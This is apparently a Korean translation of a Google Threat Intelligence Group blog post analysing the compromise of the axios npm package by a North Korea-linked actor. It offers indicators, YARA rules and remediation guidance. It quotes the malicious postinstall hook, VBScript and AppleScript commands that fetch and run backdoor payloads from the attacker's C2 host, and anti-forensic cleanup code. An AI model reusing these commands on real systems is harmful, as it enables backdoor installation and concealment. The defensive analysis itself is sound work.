콘텐츠로 이동하기
위협 인텔리전스

북한발 공급망 공격: 널리 사용되는 Axios NPM 패키지 침해 사태 분석

2026년 3월 31일
Google Threat Intelligence Group

Mandiant

Google Threat Intelligence

Visibility and context on the threats that matter most.

Contact Us & Get a Demo

해당 블로그의 원문은 2026년 4월 1일 Google Cloud 블로그(영문)에 게재되었습니다. 


작성자: Austin Larsen, Dima Lenz, Adrian Hernandez, Tyler McLellan, Christopher Gardner, Ashley Zaya, Michael Rudden, Mon Liclican


서론

구글 위협 인텔리전스 그룹(GTIG)은 인기 있는 노드 패키지 매니저(NPM) 패키지인 "axios"를 표적으로 하는 활성 소프트웨어 공급망 공격을 추적하고 있습니다. 2026년 3월 31일 00:21부터 03:20 UTC 사이에, 공격자는 axios NPM 릴리스 버전 1.14.1 및 0.30.4에 "plain-crypto-js"라는 이름의 악성 종속성을 도입했습니다. Axios는 HTTP 요청을 단순화하는 데 사용되는 가장 인기 있는 자바스크립트 라이브러리이며, 이 패키지들은 일반적으로 각각 주당 1억 회 및 8,300만 회 이상의 다운로드 수를 기록합니다. 이 악성 종속성은 윈도우(Windows), macOS 및 리눅스(Linux) 전반에 WAVESHAPER.V2 백도어를 배포하는 난독화된 드로퍼(Dropper)입니다.

GTIG는 이전에 이 위협 행위자가 사용했던 WAVESHAPER의 업데이트 버전인 WAVESHAPER.V2의 사용을 근거로, 이 활동을 최소 2018년부터 활동해 온 금전적 목적의 북한 연계 위협 행위자인 UNC1069의 소행으로 보고 있습니다. 또한, 이번 공격에 사용된 인프라 아티팩트를 분석한 결과, 과거 활동에서 UNC1069가 사용한 인프라와 겹치는 부분이 확인되었습니다.

이 블로그에서는 초기 계정 침해부터 운영 체제(OS)별 페이로드 배포에 이르기까지의 공격 수명 주기를 자세히 다루며, 방어자가 이 위협을 식별하고 완화할 수 있는 실질적인 가이드를 제공합니다.

캠페인 개요

2026년 3월 31일, GTIG는 정식 axios 패키지 버전 1.14.1에 plain-crypto-js 버전 4.2.1이 종속성으로 추가된 것을 확인했습니다. 분석 결과, axios 패키지와 연결된 메인테이너 계정이 침해되었으며, 관련 이메일 주소가 공격자가 제어하는 계정(ifstap@proton.me)으로 변경된 것으로 나타났습니다.

위협 행위자는 악성 종속성의 "package.json" 파일 내에 있는 postinstall 후크를 사용하여 은밀한 실행을 수행했습니다. 침해된 axios 패키지가 설치되면, NPM은 백그라운드에서 "setup.js"라는 이름의 난독화된 자바스크립트 드로퍼를 자동으로 실행합니다.

 "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "postinstall": "node setup.js"

  }

멀웨어 분석

plain-crypto-js 패키지는 페이로드 배포 수단으로 기능합니다. 핵심 컴포넌트인 SILKBELL(setup.js, SHA256: e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09)은 대상 시스템의 운영 체제를 동적으로 확인하여 플랫폼별 페이로드를 배포합니다.

이 스크립트는 명령 및 제어(C2 또는 C&C) URL 및 호스트 OS 실행 명령을 숨기기 위해 맞춤형 XOR 및 Base64 기반 문자열 난독화 루틴을 사용합니다. 또한, 정적 분석을 회피하기 위해 fsosexecSync를 동적으로 로드합니다. 보조 페이로드를 성공적으로 투하한 후 setup.js는 자신을 삭제하고 수정된 package.json을 이전 상태로 되돌려 postinstall 후크의 포렌식 흔적을 숨기려 시도합니다.

운영 체제별 실행 경로 

식별된 플랫폼에 따라 드로퍼는 다음과 같은 루틴을 실행합니다.

Windows

드로퍼는 기본(Native) powershell.exe 바이너리를 적극적으로 탐색합니다. 탐지를 회피하기 위해, 정상적인 실행 파일을 %PROGRAMDATA%\wt.exe로 복사합니다. 그런 다음 packages.npm.org/product1이라는 POST 본문을 사용하여 curl을 통해 PowerShell 스크립트를 다운로드하고 사용자의 AppData 임시 디렉터리(예: %TEMP%\6202033.ps1)에 저장합니다. 페이로드는 복사된 윈도우 터미널(Windows Terminal) 실행 파일을 사용해 숨김(Hidden) 속성 및 실행 정책 우회(Execution policy bypass) 플래그와 함께 실행됩니다.

Set objShell = CreateObject("WScript.Shell")    
objShell.Run "cmd.exe /c curl -s -X POST -d packages.npm.org/product1 http://sfrclak[.]com:8000/6202033 > %TEMP%\6202033.ps1 
  			  & %PROGRAMDATA%\wt.exe -w hidden -ep bypass -file %TEMP%\6202033.ps1 http://sfrclak[.]com:8000/6202033 & del ""PS_PATH"" /f", 0, False
macOS

이 악성 프로그램은 bash와 curl을 사용하여 POST 본문으로 packages.npm.org/product0을 전달하고, /Library/Caches/com.apple.act.mond경로에 Mach-O 네이티브 바이너리 페이로드를 다운로드합니다. 다운로드한 파일의 권한을 수정하여 실행 가능하게 만든 후, zsh 셸을 통해 백그라운드에서 실행합니다.

try
    do shell script "
    	curl -o /Library/Caches/com.apple.act.mond 
  		-d packages.npm.org/product0 
		-s http://sfrclak.com:8000/6202033 
  		&& chmod 770 /Library/Caches/com.apple.act.mond 
	  	&& /bin/zsh -c "/Library/Caches/com.apple.act.mond http://sfrclak.com:8000/6202033 &" 
  		&> /dev/null"
    "
  end try
  do shell script "rm -rf tmp/6202033"
Linux

스크립트는 packages.npm.org/product2라는 POST 본문을 사용하여 파이썬(Python) 백도어를 /tmp/ld.py 경로로 다운로드합니다.

Cleanup 

두 실행 분기에서 다운로드된 스크립트를 제거하는 것 외에도, 이 스크립트는 자기 자신을 삭제하고 삽입된 package.json 파일을 "package.md"로 저장해 두었던 원본 파일로 교체하려 시도합니다. 

const K = __filename;
t.unlink(K, (x => {}))
t.unlink('package.json', (x => {})), t.rename('package.md', 'package.json', ord)

WAVESHAPER.V2 백도어 기능

플랫폼별 페이로드는 궁극적으로 GTIG가 WAVESHAPER.V2로 추적하는 백도어의 변형을 배포합니다. C++로 작성된 이 백도어는 macOS를 표적으로 하여 시스템 정보를 수집하고, 디렉터리를 열거하거나, 추가 페이로드를 실행하며, 명령줄(Command-line) 인수로 제공된 C2에 연결합니다. 특히 GTIG는 다양한 환경을 타겟팅하기 위해 PowerShell과 Python으로 작성된 추가 WAVESHAPER.V2 변형들을 식별했습니다. 운영 체제에 관계없이 이 멀웨어는 60초 간격으로 포트 8000을 통해 C2 엔드포인트로 비컨(Beacon) 신호를 보냅니다. 비컨은 Base64로 인코딩된 JSON 데이터로 구성되며, 다음과 같이 하드코딩된 사용자 에이전트(User-Agent)를 사용합니다.

mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)

적의 인프라로 초기 비컨 신호를 보낸 후, WAVESHAPER.V2는 지속적으로 폴링(Polling)을 수행하며 지시를 기다리기 위해 60초 동안 대기합니다. 서버 응답에 따라 임플란트(Implant)가 취할 다음 작업이 결정됩니다. 백도어는 표 1에 설명된 여러 명령을 지원합니다. 

명령어

설명

kill

멀웨어의 실행 프로세스를 종료합니다.

rundir

ReqPaths 파라미터에 지정된 경로의 파일 경로, 크기, 생성/수정 타임스탬프를 포함한 상세 디렉터리 목록을 가져옵니다.

runscript

제공된 애플스크립트(AppleScript) 페이로드를 디코딩하고 실행합니다.

peinject

임의의 바이너리 페이로드를 디코딩 및 드롭하고, 애드혹(Ad-hoc) 서명을 거쳐 선택적 파라미터와 함께 실행합니다.

표 1: WAVESHAPER.V2 명령어 목록

윈도우에서는 숨김 속성의 배치 파일(%PROGRAMDATA%\system.bat)을 생성하고, 로그온 시 실행되도록 HKCU:\Software\Microsoft\Windows\CurrentVersion\Run에 MicrosoftUpdate라는 이름의 새 항목을 추가하여 지속성을 확보합니다.

WAVESHAPER.V2는 다음과 같은 기능을 갖춘 완전한 형태의 RAT(원격 제어 도구)로 작동합니다.

  • 정찰(Reconnaissance): 호스트 이름, 사용자 이름, 부팅 시간, 시간대, OS 버전 및 실행 중인 프로세스의 상세 목록을 포함한 시스템 텔레메트리 정보를 추출합니다.

  • 명령 실행: 메모리 내 PE(Portable Executable) 인젝션 및 임의의 쉘 명령 등 여러 실행 방법을 지원합니다. 쉘 실행 명령은 C2로부터 스크립트와 파라미터를 전달받습니다. 스크립트가 제공되지 않으면 파라미터는 PowerShell 명령으로 실행되며, 스크립트가 제공될 경우 크기에 따라 Base64로 인코딩되거나 파일로 저장됩니다.

  • 파일 시스템 열거: 파일 시스템을 지속적으로 재귀 탐색하여 요청된 대상 디렉터리에 대한 상세 메타데이터를 반환합니다.

위협 주체 식별 

GTIG는 이 활동을 2018년부터 활동해 온 금전적 목적의 북한 연계 위협 행위자인 UNC1069의 소행으로 보고 있습니다. C2 인프라(sfrclak[.]com, IP: 142.11.206.73)를 분석한 결과, 이전에 UNC1069가 사용했던 특정 AstrillVPN 노드에서의 연결이 확인되었습니다. 또한, 동일한 ASN에 호스팅된 인접 인프라들도 과거 UNC1069의 운영과 연관된 기록이 있습니다.

나아가 WAVESHAPER.V2는 이전에 UNC1069의 소행으로 밝혀진 macOS 및 리눅스용 백도어인 WAVESHAPER에서 직접 진화한 형태입니다. 오리지널 WAVESHAPER는 가벼운 로우 바이너리(Raw binary) C2 프로토콜과 코드 패킹 기술을 사용한 반면, WAVESHAPER.V2는 JSON을 사용하여 통신하고 추가 시스템 정보를 수집하며 더 많은 백도어 명령을 지원합니다. 이러한 업그레이드에도 불구하고, 두 버전 모두 명령줄 인수를 통해 C2 URL을 동적으로 수신하고, 동일한 C2 폴링 동작과 특이한 User-Agent 문자열을 공유하며, 동일한 임시 디렉터리(예: /Library/Caches/com.apple.act.mond)에 보조 페이로드를 배포한다는 공통점이 있습니다.

전망 및 시사점

북한 연계 행위자들의 이번 공격은 axios를 종속성으로 사용하는 다른 인기 패키지들에도 연쇄적인 영향을 미치며 광범위한 파급력을 갖습니다. 특히 최근 몇 주 동안 성공적인 오픈소스 공급망 공격을 수행한 위협 행위자는 UNC1069뿐만이 아닙니다. UNC6780(TeamPCP로도 알려짐)은 최근 Trivy, Checkmarx, LiteLLM 등의 프로젝트와 연관된 GitHub Actions 및 PyPI 패키지를 오염시켜 SANDCLOCK 자격 증명 탈취기를 배포하고 후속 갈취 운영을 용이하게 했습니다.

이러한 최근 공격들의 결과로 수십만 개의 탈취된 기밀 정보(Secrets)가 유출되었을 가능성이 있습니다. 이는 단기적으로 추가적인 소프트웨어 공급망 공격, SaaS 환경 침해(하위 고객 침해로 이어짐), 랜섬웨어 및 갈취 사건, 그리고 암호화폐 절취로 이어질 수 있습니다.

공급망 침해는 사용자와 기업 관리자가 신뢰할 수 있는 벤더의 하드웨어, 소프트웨어, 업데이트에 대해 가지는 본질적인 신뢰뿐만 아니라 협업 코드 공유 커뮤니티에 대해 인지하지 못한 채 부여하는 신뢰를 악용하기 때문에 매우 위험한 전술입니다. 방어자들은 이러한 캠페인에 세심한 주의를 기울여야 하며, 기업은 기존 영향을 평가하고 침해된 시스템을 복구하며 향후 공격에 대비해 환경을 강화하기 위한 전담 노력을 시작해야 합니다.

조치 가이드 

GTIG는 axios 패키지를 사용하는 모든 개발자와 조직이 즉각적인 시정 조치를 취할 것을 촉구합니다. 침해된 버전에 대한 종속성 트리 감사, 영향받은 호스트 격리, 노출 가능성이 있는 기밀 정보나 자격 증명의 교체에 우선순위를 두어야 합니다. 초기 억제 조치 후에는 엄격한 버전 고정(Version pinning) 및 강화된 공급망 모니터링을 통해 장기적인 보안 강화 대책을 시행해야 합니다.

  • 버전 관리: axios 버전 1.14.1 또는 0.30.4로 업그레이드하지 마십시오. 기업용 NPM 저장소가 검증된 안전한 버전(예: 1.14.0 이하, 0.30.3 이하)만 제공하도록 설정되었는지 확인하십시오.

  • 종속성 고정: 의도치 않은 업그레이드를 방지하기 위해 package-lock.json에서 axios를 안전한 버전으로 고정하십시오.

  • 악성 패키지 감사: 프로젝트 록파일(Lockfiles)에서 'plain-crypto-js' 패키지(버전 4.2.0 또는 4.2.1)가 있는지 구체적으로 검사하십시오. Wiz나 Open Source Insights 같은 도구를 활용해 심층적인 종속성 감사를 수행하십시오.

  • 파이프라인 보안: axios에 의존하는 모든 패키지에 대해 CI/CD 배포를 중단하십시오. 안전한 버전으로 고정하여 다시 배포하기 전, 빌드 과정에서 "latest" 버전을 가져오지 않는지 검증하십시오.

  • 침해 사고 대응: plain-crypto-js가 감지되면 해당 호스트 환경이 침해된 것으로 간주하십시오. 환경을 안전한 상태로 되돌리고 해당 기기에 있는 모든 자격 증명이나 기밀 정보를 교체하십시오.

  • 네트워크 방어: sfrclak[.]com 및 C2 IP 142.11.206.73으로의 모든 트래픽을 차단하십시오. 해당 도메인으로의 엔드포인트 통신 시도를 모니터링하고 경보를 설정하십시오.

  • 캐시 복구: 후속 설치 시 재감염을 방지하기 위해 모든 워크스테이션과 빌드 서버에서 로컬 및 공유 npm, yarn, pnpm 캐시를 삭제하십시오.

  • 엔드포인트 보호: 개발자 환경을 보호하기 위해 EDR을 배포하십시오. 알려진 침해 지표(IOC)와 일치하는 Node.js 애플리케이션에서 파생된 의심스러운 프로세스를 모니터링하십시오.

  • 자격 증명 관리: 침해 지표(IOC) 실행이 확인된 애플리케이션에서 사용된 모든 토큰과 API 키를 교체하십시오.

  • 개발자 샌드박싱 및 기밀 정보 보관: 개발 환경을 컨테이너나 샌드박스에 격리하여 호스트 파일 시스템 접근을 제한하고, 평문 기밀 정보를 aws-vault 등을 사용하여 OS 키체인으로 이전하십시오. 이를 통해 침해된 패키지가 자격 증명을 긁어가거나 호스트 머신에서 직접 악성 스크립트를 실행하는 것을 방지할 수 있습니다.

침해 지표 (IOCs)

더 넓은 커뮤니티가 본 블로그 게시물에 기술된 활동을 추적하고 식별하는 데 도움을 주기 위해, 등록된 사용자를 대상으로 무료 GTI 컬렉션(GTI Collection)에 침해 지표(IOCs)를 포함했습니다.

Indicator

Type 

Notes 

142.11.206.73

C2

WAVESHAPER.V2

sfrclak[.]com

C2

WAVESHAPER.V2

http://sfrclak[.]com:8000

C2

WAVESHAPER.V2

http://sfrclak[.]com:8000/6202033

C2

WAVESHAPER.V2

23.254.167.216

C2

Suspected UNC1069 Infrastructure

File Indicators

멀웨어 패밀리

상세 정보

SHA256

WAVESHAPER.V2

리눅스용 파이썬 RAT

fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf

WAVESHAPER.V2

macOS용 기본 바이너리

92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a

WAVESHAPER.V2

윈도우(Windows) 1단계 페이로드

617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101

WAVESHAPER.V2

해당 없음

ed8560c1ac7ceb6983ba995124d5917dc1a00288912387a6389296637d5f815c

SILKBELL

해당 없음

e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09

N/A 

system.bat

f7d335205b8d7b20208fb3ef93ee6dc817905dc3ae0c10a0b164f4e7d07121cd

N/A 

plain-crypto-js-4.2.1.tgz

58401c195fe0a6204b42f5f90995ece5fab74ce7c69c67a24c61a057325af668

YARA 규칙

이 규칙들은 과거 활동을 추적하거나 침해 여부를 검증하기 위해, 개발자 워크스테이션, CI/빌드 시스템 및 기타 침해가 의심되는 호스트에서 매우 유용하게 사용될 수 있습니다.

rule G_Backdoor_WAVESHAPER.V2_PS_1
{
    meta:
        description = "Detects the WAVESHAPER.V2 PowerShell backdoor which communicates with C2 via base64 encoded JSON beacons and supports PE injection and script execution"
        author = "GTIG"
        md5 = "04e3073b3cd5c5bfcde6f575ecf6e8c1"
        date_created = "2026/03/31"
        date_modified = "2026/03/31"
        rev = 1
        platforms = "Windows"
        family = "WAVESHAPER.V2"
    strings:
        $ss1 = "packages.npm.org/product1" ascii wide nocase
        $ss2 = "Extension.SubRoutine" ascii wide nocase
        $ss3 = "rsp_peinject" ascii wide nocase
        $ss4 = "rsp_runscript" ascii wide nocase
        $ss5 = "rsp_rundir" ascii wide nocase
        $ss6 = "Init-Dir-Info" ascii wide nocase
        $ss7 = "Do-Action-Ijt" ascii wide nocase
        $ss8 = "Do-Action-Scpt" ascii wide nocase
    condition:
        uint16(0) != 0x5A4D and filesize < 100KB and 5 of ($ss*)
}
rule G_Hunting_Downloader_suspected_UNC1069_PS_1
{
    meta:
        description = "Detects PowerShell dropper associated with suspected UNC1069 and Axios npm package supply chain attack. Associated to WAVESHAPER.V2"
        author = "GTIG"
        md5 = "089e2872016f75a5223b5e02c184dfec"
        date_created = "2026/03/31"
        date_modified = "2026/03/31" 
        rev = 1
        platforms = "Windows"
    strings:
        $ss1 = "start /min powershell -w h" ascii wide nocase
        $ss2 = "[scriptblock]::Create([System.Text.Encoding]::UTF8.GetString" ascii wide nocase
        $ss3 = "Invoke-WebRequest -UseBasicParsing" ascii wide nocase
        $ss4 = "-Method POST -Body" ascii wide nocase
        $ss5 = "packages.npm.org/product1" ascii wide nocase
    condition:
        uint16(0) != 0x5A4D and filesize < 5KB and all of them
}
rule G_Hunting_Downloader_SILKBELL_1
{
    meta:
        description = "Detects the obfuscated version of the JS NPM supply chain downloader using Base64 obfuscation and custom XOR. Associated with WAVESHAPER.V2"
        author = "GTIG"
        md5 = "7658962ae060a222c0058cd4e979bfa1"
        date_created = "2026/03/31"
        date_modified = "2026/03/31" 
        rev = 1
        platforms = "Any"
    strings:
        $ss1 = "OrDeR_7077" ascii wide fullword
        $ss2 = "String.fromCharCode(S^a^333)" ascii wide
        $ss3 = "\"TE9DQUw^\".replaceAll(\"^\",\"=\")" ascii wide
        $ss4 = "\"UFM_\".replaceAll(\"_\",\"=\")" ascii wide
        $ss5 = "\"U0NSXw--\".replaceAll(\"-\",\"=\")" ascii wide
        $ss6 = "\"UFNfQg--\".replaceAll(\"-\",\"=\")" ascii wide
        $ss7 = "\"d2hlcmUgcG93ZXJzaGVsbA((\".replaceAll(\"(\",\"=\")" ascii wide
    condition:
        uint16(0) != 0x5A4D and filesize < 100KB and all of them
}

Google Security Operations (SecOps)

Google Security Operations (SecOps) 고객은 'Mandiant 인텔 신종 위협(Mandiant Intel Emerging Threats)' 규칙 팩을 통해 다음과 같은 광범위한 카테고리 규칙 등을 이용할 수 있습니다.

  • 스태이징 디렉터리에 애플 시스템 파일을 기록하는 Curl 실행

  • Nohup 및 Osascript를 실행하는 Node 프로세스

  • 삭제 명령과 함께 윈도우 스크립트 호스트를 실행하는 Node 프로세스

  • Curl과 함께 쉘(Shell)을 실행하는 윈도우 스크립트 호스트

  • 의심스러운 스태이징 디렉터리에 위치한 윈도우 터미널

Wiz

Wiz 고객은 Wiz 위협 센터(Threat Center)에서 본 권고 사항과 해당 조직의 영향 여부를 확인해야 합니다. 더 자세한 정보는 Wiz의 블로그 게시물인 공급망 공격으로 인한 Axios NPM 배포 침해(Axios NPM Distribution Compromised in Supply Chain Attack)를 참조하십시오.

게시 위치